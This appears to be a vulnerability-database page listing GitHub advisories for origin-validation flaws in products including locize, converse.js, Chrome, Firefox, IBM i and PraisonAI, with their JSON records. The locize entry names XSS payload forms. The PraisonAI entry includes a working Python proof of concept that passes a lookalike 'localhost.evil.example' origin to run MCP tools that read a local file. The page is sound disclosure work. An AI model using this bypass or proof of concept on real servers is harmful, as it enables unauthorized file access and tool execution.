Common Weakness Enumeration

CWE-346

Allowed-with-Review

Origin Validation Error

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly verify that the source of data or communication is valid.

961 vulnerabilities reference this CWE, most recent first.

GHSA-W8WW-RJX9-2R6H

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

An issue was discovered in Acronis Cyber Protect before 15 Update 1 build 26172. Because the local notification service misconfigures CORS, information disclosure can occur.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-35556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-22T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Acronis Cyber Protect before 15 Update 1 build 26172. Because the local notification service misconfigures CORS, information disclosure can occur.",
  "id": "GHSA-w8ww-rjx9-2r6h",
  "modified": "2022-05-24T17:42:48Z",
  "published": "2022-05-24T17:42:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35556"
    },
    {
      "type": "WEB",
      "url": "https://dl.managed-protection.com/u/cyberprotect/rn/15/user/en-US/AcronisCyberProtect15_relnotes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.acronis.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W937-FG2H-XHQ2

Vulnerability from github – Published: 2026-04-22 20:32 – Updated: 2026-05-13 13:30
VLAI
Summary
locize Client SDK: Cross-origin DOM XSS & Handler Hijack Through Missing e.origin Validation in InContext Editor
Details

Summary

Versions of the locize client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a window.addEventListener("message", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin.

The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === "i18next-editor-frame" — that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host — an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down — could send a crafted postMessage and trigger the internal handlers.

Impact

Depending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.

  • Cross-origin DOM XSS via editKey / commitKeys: the pre-patch handleEditKey assigned attacker-controlled payload values to item.node.innerHTML and to item.node.setAttribute(attr, value). That allowed planting <script>, <img onerror>, or onclick/onload/onfocus event handlers; and on attribute writes, href="javascript:…" / src="data:text/html,<script>…" / style="…" / etc.

  • api.source / api.origin hijack via isLocizeEnabled: the handler set api.source = e.source; api.origin = e.origin — attacker-controlled values. All subsequent sendMessage calls (which post translations, callbacks, etc., back toward api.source) would go to the attacker window rather than the real editor, leaking translation content and any metadata the SDK forwards.

  • CSS-injection / layout-escape via requestPopupChanges: containerStyle.height / .width were interpolated into calc() expressions and popup.style.setProperty() without validation, allowing attackers to inject additional CSS declarations (semicolons, behavior:url() on legacy IE, CSS-exfil patterns) into the popup inline style.

Exploitation requires the attacker-owned page to share a window reference with the locize-enabled host: typical vectors are an iframe on an attacker-controlled page, a window.opener/window.open relationship, or a parent frame that can postMessage into an embedded locize host. The SDK intended model is that only the editor iframe at https://incontext.locize.app (or the configured staging/development origin) can reach these handlers.

Affected versions

All versions of locize prior to 4.0.21.

Patch

Fixed in 4.0.21. Two layers:

  1. Primary — validate event.origin at the top of window.addEventListener("message", …) in src/api/postMessage.js. The expected origin is the configured iframe origin (getIframeUrl()), so custom environments continue to work. Messages from any other origin are silently dropped before any handler runs.

  2. Defence-in-depth — handleEditKey now rejects dangerous attribute-name writes (on*, style) and javascript: / data: / vbscript: / file: URLs on href / src / action / formaction / xlink:href; innerHTML assignments are sanitised through a throwaway DOMParser document (stripping <script>, <iframe>, <object>, <embed>, <link>, <meta>, <base>, <style> plus event handlers and dangerous URL schemes). Legitimate translation formatting (<b>, <em>, <strong>, <a href="https://…">, etc.) passes through.

  3. CSS-injection — handleRequestPopupChanges now requires containerStyle.height / .width to match a strict CSS length pattern; malformed values are dropped silently.

Workarounds

No workaround short of upgrading.

Credits

Discovered via an internal security audit of the locize ecosystem.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:32:11Z",
    "nvd_published_at": "2026-05-08T16:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nVersions of the `locize` client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a `window.addEventListener(\"message\", \u2026)` handler that dispatches to registered internal handlers (`editKey`, `commitKey`, `commitKeys`, `isLocizeEnabled`, `requestInitialize`, \u2026) **without validating `event.origin`**.\n\nThe pre-patch listener in `src/api/postMessage.js` gates dispatch on `event.data.sender === \"i18next-editor-frame\"` \u2014 that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host \u2014 an iframe on a third-party page, a `window.open`-ed victim, a parent frame reaching down \u2014 could send a crafted `postMessage` and trigger the internal handlers.\n\n### Impact\n\nDepending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.\n\n- **Cross-origin DOM XSS** via `editKey` / `commitKeys`: the pre-patch `handleEditKey` assigned attacker-controlled payload values to `item.node.innerHTML` and to `item.node.setAttribute(attr, value)`. That allowed planting `\u003cscript\u003e`, `\u003cimg onerror\u003e`, or `onclick`/`onload`/`onfocus` event handlers; and on attribute writes, `href=\"javascript:\u2026\"` / `src=\"data:text/html,\u003cscript\u003e\u2026\"` / `style=\"\u2026\"` / etc.\n\n- **`api.source` / `api.origin` hijack** via `isLocizeEnabled`: the handler set `api.source = e.source; api.origin = e.origin` \u2014 attacker-controlled values. All subsequent `sendMessage` calls (which post translations, callbacks, etc., back toward `api.source`) would go to the attacker window rather than the real editor, leaking translation content and any metadata the SDK forwards.\n\n- **CSS-injection / layout-escape** via `requestPopupChanges`: `containerStyle.height` / `.width` were interpolated into `calc()` expressions and `popup.style.setProperty()` without validation, allowing attackers to inject additional CSS declarations (semicolons, `behavior:url()` on legacy IE, CSS-exfil patterns) into the popup inline style.\n\nExploitation requires the attacker-owned page to share a window reference with the locize-enabled host: typical vectors are an `iframe` on an attacker-controlled page, a `window.opener`/`window.open` relationship, or a parent frame that can `postMessage` into an embedded locize host. The SDK intended model is that only the editor iframe at `https://incontext.locize.app` (or the configured staging/development origin) can reach these handlers.\n\n### Affected versions\n\nAll versions of `locize` prior to **4.0.21**.\n\n### Patch\n\nFixed in **4.0.21**. Two layers:\n\n1. **Primary** \u2014 validate `event.origin` at the top of `window.addEventListener(\"message\", \u2026)` in `src/api/postMessage.js`. The expected origin is the configured iframe origin (`getIframeUrl()`), so custom environments continue to work. Messages from any other origin are silently dropped before any handler runs.\n\n2. **Defence-in-depth** \u2014 `handleEditKey` now rejects dangerous attribute-name writes (`on*`, `style`) and `javascript:` / `data:` / `vbscript:` / `file:` URLs on `href` / `src` / `action` / `formaction` / `xlink:href`; `innerHTML` assignments are sanitised through a throwaway DOMParser document (stripping `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, `\u003cembed\u003e`, `\u003clink\u003e`, `\u003cmeta\u003e`, `\u003cbase\u003e`, `\u003cstyle\u003e` plus event handlers and dangerous URL schemes). Legitimate translation formatting (`\u003cb\u003e`, `\u003cem\u003e`, `\u003cstrong\u003e`, `\u003ca href=\"https://\u2026\"\u003e`, etc.) passes through.\n\n3. **CSS-injection** \u2014 `handleRequestPopupChanges` now requires `containerStyle.height` / `.width` to match a strict CSS length pattern; malformed values are dropped silently.\n\n### Workarounds\n\nNo workaround short of upgrading.\n\n### Credits\n\nDiscovered via an internal security audit of the locize ecosystem.",
  "id": "GHSA-w937-fg2h-xhq2",
  "modified": "2026-05-13T13:30:12Z",
  "published": "2026-04-22T20:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/security/advisories/GHSA-w937-fg2h-xhq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/commit/d006b75fadb8e8ab77b023e462850fc6e9170735"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locize/locize"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/releases/tag/v4.0.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "locize Client SDK: Cross-origin DOM XSS \u0026 Handler Hijack Through Missing e.origin Validation in InContext Editor "
}

GHSA-W973-2QCC-P78X

Vulnerability from github – Published: 2020-09-11 21:19 – Updated: 2021-09-28 16:56
VLAI
Summary
User Impersonation in converse.js
Details

Versions of converse.js prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of XEP-0280: Message Carbons that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks.

Recommendation

If you're using converse.js 1.x, upgrade to 1.0.7 or later. If you're using converse.js 2.x, upgrade to 2.0.5 or later.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "converse.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "converse.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-5858"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:42:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `converse.js` prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of [XEP-0280: Message Carbons](https://xmpp.org/extensions/xep-0280.html) that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application\u0027s display. This allows for various kinds of social engineering attacks.\n\n\n## Recommendation\n\nIf you\u0027re using `converse.js` 1.x, upgrade to 1.0.7 or later.\nIf you\u0027re using `converse.js` 2.x, upgrade to 2.0.5 or later.",
  "id": "GHSA-w973-2qcc-p78x",
  "modified": "2021-09-28T16:56:35Z",
  "published": "2020-09-11T21:19:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jcbrand/converse.js/commit/42f249cabbbf5c026398e6d3b350f6f9536ea572"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jcbrand/converse.js"
    },
    {
      "type": "WEB",
      "url": "https://rt-solutions.de/en/2017/02/CVE-2017-5589_xmpp_carbons"
    },
    {
      "type": "WEB",
      "url": "https://rt-solutions.de/wp-content/uploads/2017/02/CVE-2017-5589_xmpp_carbons.pdf"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CONVERSEJS-449664"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/974"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2017/02/09/29"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2017/02/09/29"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96183"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "User Impersonation in converse.js"
}

GHSA-W992-VGRP-856G

Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-14 00:00
VLAI
Details

AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-32985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-04T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.",
  "id": "GHSA-w992-vgrp-856g",
  "modified": "2022-04-14T00:00:42Z",
  "published": "2022-04-05T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32985"
    },
    {
      "type": "WEB",
      "url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2021-002.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-180-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCCX-FXF3-QG7R

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 21:31
VLAI
Details

Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-10937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:16:56Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-wccx-fxf3-qg7r",
  "modified": "2026-06-05T21:31:56Z",
  "published": "2026-06-05T00:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10937"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/502651056"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WG2H-WC56-7JCC

Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 18:32
VLAI
Details

Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-8971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T14:16:53Z",
    "severity": "MODERATE"
  },
  "details": "Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.",
  "id": "GHSA-wg2h-wc56-7jcc",
  "modified": "2026-05-19T18:32:10Z",
  "published": "2026-05-19T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8971"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2032604"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-46"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-50"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WH44-XV4R-84RV

Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31
VLAI
Details

IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to harvest credentials due to spoofing of Navigator for i.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-18847"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T17:17:25Z",
    "severity": "HIGH"
  },
  "details": "IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to harvest credentials due to spoofing of Navigator for i.",
  "id": "GHSA-wh44-xv4r-84rv",
  "modified": "2026-08-12T18:31:20Z",
  "published": "2026-08-12T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18847"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7283292"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WJ6G-V78P-6FX3

Vulnerability from github – Published: 2026-08-25 14:26 – Updated: 2026-08-25 14:26
VLAI
Summary
PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server
Details

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

  • src/praisonai/praisonai/mcp_server/cli.py
  • src/praisonai/praisonai/mcp_server/transports/http_stream.py
  • src/praisonai/praisonai/mcp_server/server.py
  • src/praisonai/praisonai/mcp_server/adapters/__init__.py
  • src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py
  • src/praisonai/praisonai/mcp_server/adapters/cli_tools.py
  • src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

The request body is then parsed and dispatched to the MCP server:

body = await request.json()
response = await self.server.handle_message(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():

@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

python3 poc_mcp_origin_bypass.py

poc_mcp_origin_bypass.py:

import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }

    # Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )

    # Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

Observed output:

{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}

The important results are:

  • Origin: https://evil.example is rejected with 403.
  • Origin: http://localhost.evil.example is accepted with 200.
  • The bypassed request invokes praisonai.files.create and reads the local safe marker file.
  • The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

  • read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
  • modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Severity
6.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:26:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the 